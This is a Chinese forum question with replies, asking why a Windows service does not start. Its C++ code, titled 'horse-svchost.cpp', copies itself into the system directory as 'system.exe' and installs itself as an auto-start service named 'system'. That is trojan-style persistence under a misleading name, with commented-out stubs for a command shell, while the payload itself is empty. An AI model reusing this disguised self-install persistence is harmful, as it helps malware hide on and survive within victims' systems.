为什么设置服务状态为RUNNING然而创建的服务并没有启动,如何实现创建的服务并启动
// horse-svchost.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define BUFSIZE 1024
void WINAPI ServiceMain(DWORD,LPTSTR *);
//DWORD WINAPI CmdService(LPVOID);
//DWORD WINAPI CmdShell(LPVOID);
void WINAPI ServiceCtrlHandler(DWORD Opcode);//服务控制函数
BOOL InstallCmdService();
void DelServices();
void test();
//VOID WINAPI EXEBackMain (LPVOID s);
SERVICE_STATUS m_ServiceStatus; //Contains status information for a service.
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning=true;
int main(int argc,char *argv[])
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"system",ServiceMain},//服务程序的名称和入口点(函数)
{NULL ,NULL }//SERVICE_TABLE_ENTRY结构必须以“NULL”结束;
};
// if(argc==1) door();
if(argc==2) //两个参数,第一个参数是程序本身,第二个是自己输入的。
{
if(!_stricmp(argv[1],"-i"))//如果第二个参数等于-install
{
InstallCmdService();
}
else if(!_stricmp(argv[1],"-r"))//比较字符串s1和s2,但不区分字母的大小写
{
DelServices();
}
return 0;
}
StartServiceCtrlDispatcher(DispatchTable);//把入口点的地址传入
return 0;
}
void test()
{
//实现程序
}
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpArgv) //服务主函数
{
m_ServiceStatus.dwServiceType = SERVICE_WIN32;
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;;
m_ServiceStatus.dwWin32ExitCode = 0;
m_ServiceStatus.dwServiceSpecificExitCode = 0;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
//Registers a function to handle service control requests.This function has been superseded by the RegisterServiceCtrlHandlerEx function.
//If the function succeeds, the return value is a service status handle.If the function fails, the return value is zero.
m_ServiceStatusHandle = RegisterServiceCtrlHandler("system",ServiceCtrlHandler);
if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)
return;
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; //设置服务状态
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
//SERVICE_STATUS结构含有七个成员,它们反映服务的现行状态。
//所有这些成员必须在这个结构被传递到SetServiceStatus之前进行正确设置
//Updates the service control manager's status information for the calling service.
if( SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus))
bRunning=true;
test(); //启动我们的服务程序
return;
}
void WINAPI ServiceCtrlHandler(DWORD Opcode)//服务控制函数
{
switch(Opcode)
{
case SERVICE_CONTROL_PAUSE: // we accept the command to pause it
m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE: // we got the command to continue
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
m_ServiceStatus.dwWin32ExitCode = 0;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);
bRunning=true;
break;
case SERVICE_CONTROL_STOP: // we got the command to stop this service
m_ServiceStatus.dwWin32ExitCode = 0;
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);
bRunning=false;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
}
return;
}
BOOL InstallCmdService()//安装服务函数
{
//LPTSTR strDir;
//strDir = (LPTSTR) malloc(BUFSIZE*sizeof(TCHAR));
char strDir[BUFSIZE];
SC_HANDLE schSCManager,schService;
GetCurrentDirectory(1024,strDir);//取当前目录
GetModuleFileName(NULL,strDir,sizeof(strDir));//取当前文件路径和文件名
char chSysPath[1024];
//LPTSTR chSysPath;
//chSysPath = (LPTSTR) malloc(BUFSIZE*sizeof(TCHAR));
GetSystemDirectory(chSysPath,sizeof(chSysPath));//取系统目录
strcat(chSysPath,"\\system.exe");//将scvhost.exe拼接到系统目录
if(CopyFile(strDir,chSysPath,FALSE))
printf("Copy file OK\n"); // 把当前服务程序复制到系统根目录为system.exe
strcpy(strDir,chSysPath);
//Establishes a connection to the service control manager on the specified computer and opens the specified service control manager database.
schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if (schSCManager == NULL)
{
printf("open scmanger failed,maybe you do not have the privilage to do this %d \n", GetLastError());
getchar();
return false;
}
LPCTSTR lpszBinaryPathName=strDir;
schService = CreateService(schSCManager,
"system",
"system", //将服务的信息添加到SCM的数据库
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS, // service type
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
lpszBinaryPathName, // service's BinaryPathName
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
if (schService) printf("Install Service Success!\n");
else
return false;
CloseServiceHandle(schService);
return true;
}
void DelServices()
{
char name[100];
SC_HANDLE scm;
SC_HANDLE service;
SERVICE_STATUS status;
strcpy(name,"system");
if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
{
printf("OpenSCManager Error ");
}
service=OpenService(scm,name,SERVICE_ALL_ACCESS|DELETE);
if (!service)
{
printf("OpenService error! ");
return;
}
BOOL isSuccess=QueryServiceStatus(service,&status);
if (!isSuccess)
{
printf("QueryServiceStatus error! ");
return;
}
if ( status.dwCurrentState!=SERVICE_STOPPED )
{
isSuccess=ControlService(service,SERVICE_CONTROL_STOP,&status);
if (!isSuccess )
printf("Stop Service error! ");
Sleep( 500 );
}
isSuccess=DeleteService(service);
if (!isSuccess)
printf("Delete Service Fail!");
else
printf("Delete Service Success! ");
CloseServiceHandle(service );
CloseServiceHandle(scm);
}
[解决办法]
system(""net start 服务名");
[解决办法]
system("net start 服务名");